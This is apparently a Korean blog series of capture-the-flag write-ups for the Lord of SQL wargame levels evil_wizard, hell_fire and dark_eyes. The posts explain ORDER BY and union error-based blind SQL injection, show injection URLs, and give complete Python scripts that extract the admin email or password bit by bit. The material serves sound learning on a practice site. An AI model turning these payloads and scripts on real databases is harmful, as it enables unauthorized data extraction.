LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 hell_fire에 이어 evil_wizard 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

evil_wizard문제는 이미 hell_fire에서 삽질을 해줬기 때문에 매우 손쉽게 풀었습니다.


[LOS - Lord Of SQL] Level 23 - hell_fire 풀이


위의 hell_fire 문제 풀이에서 제가 수행했던 삽질은 코드를 이렇게도 써보고, 저렇게도 써보고... 값이 나오는지 안 나오는지 계에에에속 확인해봤습니다. 하지만 해당 포스트에서도 이와 같은 이해를 반복하기 위해 원리 및 이해를 모두 작성하도록 할 것입니다.


 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysql_query($query);
  while(($result = mysql_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>


위의 문제는 hell_fire 문제와 동일하게 되어 있습니다.

order by 를 통해 값이 정렬되며, 정렬된 값이 있다면 그 값이 반환되어 테이블에 보인다는 것입니다.


이 문제에서는 order by에 대한 이해를 바탕으로 값을 알아내야 합니다.

6번째 라인에서 same with hell_fire? really?라고 되어 있는데.. 제 문제 풀이에서는 같았습니다. ㅠㅠ

혹시 다른 방법이 있었던 건 아닌지 



 

 MySQL Order By 이해


먼저, order by를 이용하여 Blind SQL Injection을 수행해야 하기 때문에, 간단한 order by문을 이용해보려 합니다.


 

 order by 정렬


order by는 정렬을 오름차순, 내림차순 등으로 수행할 수 있는 조건문입니다.

정렬을 수행할 때 order by 조건은 다음과 같이 두 가지 형태로 줄 수 있습니다.


(1) order by [컬럼 이름];

(2) order by [컬럼 이름]='값';


위의 두 가지 형태로 값을 입력하게 되면 조건에 맞는 값의 순서대로 정렬되게 됩니다.


만약 (1)과 같이 정렬하게 되면 단순히 값의 크기에 따라 정렬되게 됩니다.

그러나 (2)와 같이 정렬하게 되면, 값이 일치하는가의 여부에 따라 정렬되게 됩니다.


또한 추가적으로, (2)와 같이 정렬할 때 값이 일치하는 게 아래로, 아닌 것이 위로 올라가게 됩니다.

이는 다음과 같이 비유할 수 있습니다.


if (order by id='1') ==> 값이 일치하면 참을 반환하여 1이 반환됨

if (order by id='1') ==> 값이 일치하지 않으면 거짓을 반환하여 0이 반환됨

if (order by id='1') ==> 비교할 값이 없으면 NULL이 반환되어 -1이 반환됨(이건 제 뇌피셜입니다.)


따라서 값의 일치여부와 존재여부에 따라 -1, 0, 1의 순서대로 정렬되기 때문에 참일 경우 가장 아래로 내려가는 것이라고 판단됩니다.


 

 정렬 조건 나열


order by는 정렬하려는 조건을 여러 개를 둘 수 있습니다.

즉, order by id,pw 이렇게 할 수 있다는 것입니다.


이는 id로 정렬하고, 만약 id와 정렬 기준이 같을 때, pw로 다시 정렬을 수행하라, 라고 정렬 조건을 줄 수 있다는 것입니다.



 

 정렬하고자 하는 값이 동일하면?


정렬하고자 하는 값이 동일할 때는 그 조건을 통해 변화가 일어나지 않습니다.

만약 admin의 4번째 글자와 rubiya의 4번째 글자를 비교하게 되면, 둘 다 거짓일 경우와 둘 다 참일 경우 외에는 나타나지 않습니다. 이 말은 즉, 뒤에 어떠한 조건을 더 붙여준들 정렬 순서가 바뀌지 않는다는 것입니다.


이럴 경우에 발생하는 예외를 따로 처리해주어야 합니다.



 

 

 문제 풀이(쿼리)

 

해당 문제에서는 비트별로 값을 알아내는 것보다 hex 값으로 값을 알아내는 방법을 이용하였습니다.

 

 

 

 E-mail 길이 알아내기


order by를 이용한 아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=length(email)=1,id=%27rubiya%27

 

위의 쿼리는 email의 길이가 1인 것을 기준으로 먼저 정렬하고, 다음으로 id 값이 rubiya인 것을 기준으로 정렬하였습니다.

이는 order=length(email)=1,id='rubiya' 으로 작성하였습니다.

 

그러나 위의 쿼리의 경우 email의 길이가 1이 아니기 때문에 첫 번째 정렬기준이 아닌 두 번째 정렬 기준으로 정렬됩니다. 즉, rubiya 컬림이 아래로 내려간 모습의 정렬이 이루어집니다.

 

다음 쿼리는 admin의 email 길이가 일치하였을 경우입니다.

 https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=length(email)=30,id=%27rubiya%27

 

위와 같이 쿼리를 날렸을 때, admin 컬럼이 아래로 내려가게 됩니다.

 

 

 

 E-mail 값 알아내기 - null 영역이 아닌 곳


rubiya의 E-mail의 길이는 18입니다.

그러나 admin의 E-mail 길이는 30으로 나타나 있습니다.

만약 아래와 같은 쿼리를 이용하게 되면, NULL이 아닌 구간까지는 무난하게 구할 수 있습니다. 하지만 19번째 구간부터는 비교할 값이 없기 때문에 다른 방법으로 값을 구해야 합니다.


먼저, null 영역이 아닌 곳을 구할 수 있는 쿼리는 다음과 같습니다.

  https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=conv(hex(substr(email,1,1)),16,10)=97,id=%27rubiya%27

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

conv(hex(substr(email,1,1)),16,10)=97,id='rubiya'

여기서는 substr 함수를 이용하여 email의 첫 번째 글자의 10진수 값이 97인('a')인 값을 기준으로 먼저 정렬하고, 일치한 게 없으면 id='rubiya'로 정렬하라! 입니다.


이 쿼리에서는 admin의 email 값의 첫 번째 글자가 'a'이기 때문에 admin의 컬럼이 아래로 내려가게 됩니다.




 

 E-mail 값 알아내기 = null 영역인 곳


rubiya의 E-mail의 길이가 18이므로, 19번째 값부터는 어떤 값을 비교하든 정렬이 제대로 이루어지지 않습니다.

그렇다면, 여기서는 다른 방법의 쿼리를 이용하는 것이 좋습니다.

 https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=substr(lpad(bin(ord(substr(email,19,1))),16,0),1,1)=1,id='rubiya'


위의 쿼리는 비트 값이 1이냐 0이냐를 이용하여 값을 알아내는 쿼리입니다.

위와 같은 쿼리를 이용하게 되면, 각 비트의 값을 알아낼 수 있습니다.



 

 P.S.


값을 모두 비교할 때 NULL 영역을 비교하는 것처럼 모두 비교하면 되지 않느냐?? 할 수 있습니다.

제가 삽질해본 결과 다음과 같은 단점이 발생합니다.


만약 같은 자리의 비트의 값이 같으면?


비트의 값이 같을 수 있는 경우는 두 가지로 0일 때와 1일 때 입니다. 하지만 이 두 경우는 구분해줄 수 없습니다...

뒤의 조건문으로 어떻게 해결할 수 없는 문제입니다.


따라서, null이 아닌 경우에는 비트가 같은 경우가 생기기 때문에 hex 값으로 비교해주는 것이 좋습니다.


만약 hex 값으로 비교하게 되면, rubiya와 같은 경우 이외에는 없기 때문에 그나마 예외로 처리해줄 수 있게 됩니다.

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order='
headers = {'Cookie': 'PHPSESSID=pbf1b42v85vbjneir5beukkvn5'}


# Get the E-mail Length =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
emailLen = 0

for i in range(1, 100):
    payload = "length(email)=" + str(i) + ",id='rubiya'"
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'idemailscorerubiya' in res.text:
        emailLen = i
        break
    else:
        pass

print('[=] Find E-mail Length : %d' % emailLen)


# Find the E-mail(FRONT)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Front    = ''
rubiya   = 'rubiya805@gmail.cm'

for j in range(1, emailLen+1):
    for i in range(0, 129):
        payload = "conv(hex(substr(email,{},1)),16,10)={},id='rubiya'".format(j,i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'idemailscorerubiya' in res.text:
            if i == 0:
                break
            print('[=] Find Char : ', chr(i), ' : ', hex(i))
            Front += chr(i)
            break
        else:
            pass

    if i == 128:
        print('[=] Find Char : ', rubiya[j-1], ' :  same with rubiya')
        Front += rubiya[j-1]


print('[=] Find Front String : ', Front)

# Find the E-mail(BACK)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
bitLen = 16
Back   = ''

for j in range(len(Front)+1, emailLen+1):
    
    bit = ''

    for i in range(1, bitLen+1):
        payload = "substr(lpad(bin(ord(substr(email,{},1))),{},0),{},1)=1,id='rubiya'".format(j, bitLen, i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'idemailscorerubiya' in res.text:
            # True
            bit += '1'
        else:
            bit += '0'

    print(' =  Find Back Char    : ', chr(int(bit, 2)), '  :  ', bit)

    Back += chr(int(bit, 2))

print('[=] Find Back String  : ', Back)
print('\n\n')
print('[=] Find E-mail       : ', Front + Back)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 dark_eyes에 이어 hell_fire 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

hell_fire문제는 매우 삽질을 많이 해봤습니다.


제가 수행했던 삽질은 코드를 이렇게도 써보고, 저렇게도 써보고... 값이 나오는지 안 나오는지 계에에에속 확인해봤습니다.

그러나 해당 포스트에서는 삽질 중에 성공한 삽질만 정리하여 작성할 것입니다.


 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysql_query($query);
  while(($result = mysql_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>


위의 문제는 이전의 문제들과 조금 다른 점이 있습니다.

order by 를 통해 값이 정렬되며, 정렬된 값이 있다면 그 값이 반환되어 테이블에 보인다는 것입니다.


이 문제에서는 order by에 대한 이해를 바탕으로 값을 알아내야 합니다..

이도 어쩌면 order by를 이용한 Blind SQL Injection이 아닐까 생각해봅니다.



 

 MySQL Order By 이해


먼저, order by를 이용하여 Blind SQL Injection을 수행해야 하기 때문에, 간단한 order by문을 이용해보려 합니다.


 

 order by 정렬


order by는 정렬을 오름차순, 내림차순 등으로 수행할 수 있는 조건문입니다.

정렬을 수행할 때 order by 조건은 다음과 같이 두 가지 형태로 줄 수 있습니다.


(1) order by [컬럼 이름];

(2) order by [컬럼 이름]='값';


위의 두 가지 형태로 값을 입력하게 되면 조건에 맞는 값의 순서대로 정렬되게 됩니다.


만약 (1)과 같이 정렬하게 되면 단순히 값의 크기에 따라 정렬되게 됩니다.

그러나 (2)와 같이 정렬하게 되면, 값이 일치하는가의 여부에 따라 정렬되게 됩니다.


또한 추가적으로, (2)와 같이 정렬할 때 값이 일치하는 게 아래로, 아닌 것이 위로 올라가게 됩니다.

이는 다음과 같이 비유할 수 있습니다.


if (order by id='1') ==> 값이 일치하면 참을 반환하여 1이 반환됨

if (order by id='1') ==> 값이 일치하지 않으면 거짓을 반환하여 0이 반환됨

if (order by id='1') ==> 비교할 값이 없으면 NULL이 반환되어 -1이 반환됨(이건 제 뇌피셜입니다.)


따라서 값의 일치여부와 존재여부에 따라 -1, 0, 1의 순서대로 정렬되기 때문에 참일 경우 가장 아래로 내려가는 것이라고 판단됩니다.


 

 정렬 조건 나열


order by는 정렬하려는 조건을 여러 개를 둘 수 있습니다.

즉, order by id,pw 이렇게 할 수 있다는 것입니다.


이는 id로 정렬하고, 만약 id와 정렬 기준이 같을 때, pw로 다시 정렬을 수행하라, 라고 정렬 조건을 줄 수 있다는 것입니다.



 

 정렬하고자 하는 값이 동일하면?


정렬하고자 하는 값이 동일할 때는 그 조건을 통해 변화가 일어나지 않습니다.

만약 admin의 4번째 글자와 rubiya의 4번째 글자를 비교하게 되면, 둘 다 거짓일 경우와 둘 다 참일 경우 외에는 나타나지 않습니다. 이 말은 즉, 뒤에 어떠한 조건을 더 붙여준들 정렬 순서가 바뀌지 않는다는 것입니다.


이럴 경우에 발생하는 예외를 따로 처리해주어야 합니다.



 

 

 문제 풀이(쿼리)

 

해당 문제에서는 비트별로 값을 알아내는 것보다 hex 값으로 값을 알아내는 방법을 이용하였습니다.

 

 

 

 E-mail 길이 알아내기


order by를 이용한 아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=length(email)=1,id=%27rubiya%27

 

위의 쿼리는 email의 길이가 1인 것을 기준으로 먼저 정렬하고, 다음으로 id 값이 rubiya인 것을 기준으로 정렬하였습니다.

이는 order=length(email)=1,id='rubiya' 으로 작성하였습니다.

 

그러나 위의 쿼리의 경우 email의 길이가 1이 아니기 때문에 첫 번째 정렬기준이 아닌 두 번째 정렬 기준으로 정렬됩니다. 즉, rubiya 컬림이 아래로 내려간 모습의 정렬이 이루어집니다.

 

다음 쿼리는 admin의 email 길이가 일치하였을 경우입니다.

 https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=length(email)=28,id=%27rubiya%27

 

위와 같이 쿼리를 날렸을 때, admin 컬럼이 아래로 내려가게 됩니다.


 

 

 

 E-mail 값 알아내기 - null 영역이 아닌 곳


rubiya의 E-mail의 길이는 18입니다.

그러나 admin의 E-mail 길이는 28로 나타나 있습니다.

만약 아래와 같은 쿼리를 이용하게 되면, NULL이 아닌 구간까지는 무난하게 구할 수 있습니다. 하지만 19번째 구간부터는 비교할 값이 없기 때문에 다른 방법으로 값을 구해야 합니다.


먼저, null 영역이 아닌 곳을 구할 수 있는 쿼리는 다음과 같습니다.

  https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=conv(hex(substr(email,1,1)),16,10)=97,id=%27rubiya%27

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

conv(hex(substr(email,1,1)),16,10)=97,id='rubiya'

여기서는 substr 함수를 이용하여 email의 첫 번째 글자의 10진수 값이 97인('a')인 값을 기준으로 먼저 정렬하고, 일치한 게 없으면 id='rubiya'로 정렬하라! 입니다.


이 쿼리에서는 admin의 email 값의 첫 번째 글자가 'a'이기 때문에 admin의 컬럼이 아래로 내려가게 됩니다.




 

 E-mail 값 알아내기 = null 영역인 곳


rubiya의 E-mail의 길이가 18이므로, 19번째 값부터는 어떤 값을 비교하든 정렬이 제대로 이루어지지 않습니다.

그렇다면, 여기서는 다른 방법의 쿼리를 이용하는 것이 좋습니다.

 https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=substr(lpad(bin(ord(substr(email,19,1))),16,0),1,1)=1,id='rubiya'


위의 쿼리는 비트 값이 1이냐 0이냐를 이용하여 값을 알아내는 쿼리입니다.

위와 같은 쿼리를 이용하게 되면, 각 비트의 값을 알아낼 수 있습니다.



 

 P.S.


값을 모두 비교할 때 NULL 영역을 비교하는 것처럼 모두 비교하면 되지 않느냐?? 할 수 있습니다.

제가 삽질해본 결과 다음과 같은 단점이 발생합니다.


만약 같은 자리의 비트의 값이 같으면?


비트의 값이 같을 수 있는 경우는 두 가지로 0일 때와 1일 때 입니다. 하지만 이 두 경우는 구분해줄 수 없습니다...

뒤의 조건문으로 어떻게 해결할 수 없는 문제입니다.


따라서, null이 아닌 경우에는 비트가 같은 경우가 생기기 때문에 hex 값으로 비교해주는 것이 좋습니다.


만약 hex 값으로 비교하게 되면, rubiya와 같은 경우 이외에는 없기 때문에 그나마 예외로 처리해줄 수 있게 됩니다.

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order='
headers = {'Cookie': 'PHPSESSID=pbf1b42v85vbjneir5beukkvn5'}


# Get the E-mail Length =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
emailLen = 0

for i in range(1, 100):
    payload = "length(email)=" + str(i) + ",id='rubiya'"
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'idemailscorerubiya' in res.text:
        emailLen = i
        break
    else:
        pass

print('[=] Find E-mail Length : %d' % emailLen)


# Find the E-mail(FRONT)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Front    = ''
rubiya   = 'rubiya805@gmail.cm'

for j in range(1, emailLen+1):
    for i in range(0, 129):
        payload = "conv(hex(substr(email,{},1)),16,10)={},id='rubiya'".format(j,i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'idemailscorerubiya' in res.text:
            if i == 0:
                break
            print('[=] Find Char : ', chr(i), ' : ', hex(i))
            Front += chr(i)
            break
        else:
            pass

    if i == 128:
        print('[=] Find Char : ', rubiya[j-1], ' :  same with rubiya')
        Front += rubiya[j-1]


print('[=] Find Front String : ', Front)

# Find the E-mail(BACK)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
bitLen = 16
Back   = ''

for j in range(len(Front)+1, emailLen+1):
    
    bit = ''

    for i in range(1, bitLen+1):
        payload = "substr(lpad(bin(ord(substr(email,{},1))),{},0),{},1)=1,id='rubiya'".format(j, bitLen, i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'idemailscorerubiya' in res.text:
            # True
            bit += '1'
        else:
            bit += '0'

    print(' =  Find Back Char    : ', chr(int(bit, 2)), '  :  ', bit)

    Back += chr(int(bit, 2))

print('[=] Find Back String  : ', Back)
print('\n\n')
print('[=] Find E-mail       : ', Front + Back)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 iron_golem에 이어 dark_eyes 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

고양이 눈깔인데, 안 귀엽네요.


이번 문제는 진짜... 고민을 많이 했습니다.

어찌 풀어야 할지는 알겠는데 어떻게 문제 풀이를 진행해야 하는지 감이 잡힐 때까지 시간이 많이 걸렸지요..ㅠㅠ

 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>


와우...

iron_golem 문제에서 나타나 있는 것처럼 if문을 이용하여, Error Based Blind SQL Injection을 수행했었는데... 이번에는 그렇게 하지도 못하게 됐습니다. 이제는 어떻게 에러와 참을 구분한단 말인가...


여전히 error가 발생했을 때를 제외하고, 값이 출력되는 곳은 따로 없습니다.

따라서 이번에도 아무런 결과도 도출할 수 없이 Error Based Blind SQL Injection을 수행해야 합니다.


여기서 참 고민을 많이 했습니다.

별의 별 쿼리를 다 만들어 날려보면서... 생각해보니 union에서 컬럼을 만들어준 녀석이 값을 2개를 넘겨줄 때 문제가 발생했었던 걸 깨달았습니다.


만약 select 1 union select 1을 할 경우 값이 같은 값이므로, 1 하나만 반환됩니다.

그러나 select union select 0을 할 경우 값이 다르기 때문에, 1과 0을 함께 반환합니다.


위와 같은 원리를 이용하여 이번 Error Based Blind SQL Injection을 수행해보려 합니다.



 

 Error Based Blind SQL Injection


MySQL 에서 에러를 발생시킬 수 있는 방법은 다양합니다. 하지만 참일 때와 거짓일 때 구분하여 에러를 발생시키는 방법은 제한되어 있습니다. 일단은 에러를 이용하여 Blind SQL Injection을 하는 방법을 알아보겠습니다.


 

 union을 이용한 Error Based Blind SQL Injection



 

 에러 발생


기존의 방법은 if문을 이용하여 error를 발생했을 때와 아닐 때를 구분해주었습니다.

[LOS - Lord Of SQL] Level 21 - iron_golem 풀이


위의 링크에서 if문을 이용한 error based blind sql injection을 확인할 수 있습니다.


그러나 만약 if문을 사용할 수 없을 경우 select와 union만을 이용하여 에러를 발생시켜야 합니다.


원리는 다음과 같습니다.

(1) select 1 union select 1; 을 할 경우, 1 하나만 반환됨

(2) select 1 union select 0; 을 할 경우, 1과 0이 반환됨


만약 (2)의 쿼리를 WHERE 조건문에 넣게 되면 에러는 ERROR 1242 (21000) : Subquery returns more than 1 row 라고 나타납니다.


이는 한 개의 row에 두 개 이상의 값이 한 번에 들어와지기 때문입니다.

비유하자면, 한 개의 박스 안에 두 개의 row가 들어갈 수 없기 때문에 하나의 값만 리턴하라! 라는 뜻입니다.


select 1 union select 1를 하게되면 다음과 같은 값이 select 됩니다.

1

1


만약 select 1 union select 0;를 하게 되면 다음과 같이 값이 반환됩니다.

1

1

0


select 1 union select 0을 수행할 때를 보면, 위와 같이 반환되는 것이 말이 안 됩니다. 하나의 row에 두 개의 row 값이 들어갈 수는 없기 때문입니다.

따라서 위와 같은 에러를 발생시킬 수 있게 됩니다.


그렇다면 어떻게 0과 1을 따로 구분할 수 있는지를 알아봐야합니다.


 

 MySQL True, False


MySQL에서는 괄호와 비교 연산자를 이용하여 참과 거짓을 반환해줄 수 있습니다.


예를 들면, select (length(pw)>0) from table;을 수행해주면, 비밀번호라는 컬럼의 값이 0보다 크면 참, 작으면 거짓을 반환하는 테이블이 반환될 것입니다. 이때 참과 거짓은 각각 1과 0으로 반환됩니다.


즉, 참일 때 1이 반환되고, 거짓일 때 0이 반환된다는 것입니다.


그렇다면, 우리는 괄호와 비교연산자를 이용하여 값을 알아낼 수 있을 것입니다.




 

 

 문제 풀이(쿼리)

 

 

먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.

 

 

 

 비밀번호 길이 알아내기


MySQL 함수인 if 함수와 length 함수를 이용하여 비밀번호의 길이를 알아내보도록 합시다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20union%20select%20(length(pw)<0))%23


위의 쿼리는 pw 길이가 0보다 작으면 에러가 발생하게끔 작성하였습니다.

이는 pw=' or id='admin' and (select 1 union select (length(pw)<0))%23 으로 작성하였습니다.


이 쿼리는 일부러 에러가 터지는지 안 터지는지 알기 위해 일부러 0보다 작다, 라고 작성해주었습니다. 문제 풀이로써 사용될 쿼리에는 특정 숫자보다 크다, 로 설정할 것입니다.


이제 비밀번호를 알아내야 합니다.

 

 

 

 비밀번호 값 알아내기

각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.

 

 

  https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20union%20select%20(substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=0))%23

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=0))%23

여기서는 substr 함수를 그대로 사용하였습니다. 또한 비트 수는 16으로 맞춰줬습니다. 혹시 8비트가 아닐 수 있으니ㅎㅎ..


만약 pw 값의 1번째 글자에서 1번째 비트가 1이면 참, 아니면 에러가 발생하는 코드입니다. 즉, 에러가 발생하면 0입니다.

 

이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.

 

 

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw='
headers = {'Cookie': 'PHPSESSID=r6bn9co3h56f6bindk6rs09474'}

passwordLen = 0

for i in range(1, 100):
    payload = "' or id='admin' and (select 1 union select (length(pw)={}))%23".format(i)
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'query' in res.text:
        passwordLen = i
        break
    else:
        pass

print('[=] Find Password Length : %d' % passwordLen)


bitLen   = 16
Password = ''

for j in range(1, passwordLen+1):

    bit = ''

    for i in range(1, bitLen+1):
        payload = "' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1))%23".format(j, bitLen, i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'query' in res.text:
            # Error Occured!! It is not 1 
            bit += '1'
        else:
            # false!!
            bit += '0'

    Password += chr(int(bit, 2))
    print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:]))


print('[=] Find Password : %s' % Password)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 dragon에 이어 iron_golem 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

iron_golem문제를 들어가기 전에, 몬스터의 이미지를 보면... 겁나 간지나는 골렘의 모습입니다.

아니나 다를까 이번에도 난이도 높은 Blind SQL Injection입니다.


이번에는 또 어떤 필터링이 기다리고 있을까. 하악.

 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit(mysql_error());
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>


위의 문제에서는 먼저 일반적인 Blind SQL Injection과는 다른 점이 있습니다.

적절한 테스트 쿼리를 넣어봤지만 결과 값이 전혀 나오지 않았습니다.


이는 예전에 있었던 출력문이 없기 때문입니다.

따라서 아무런 결과도 도출할 수 없습니다. admin인지 guest인지 알 수 없는 것이지요.

그러나, 이번에는 만약 에러가 발생하면 에러 문구가 출력되도록 했습니다.


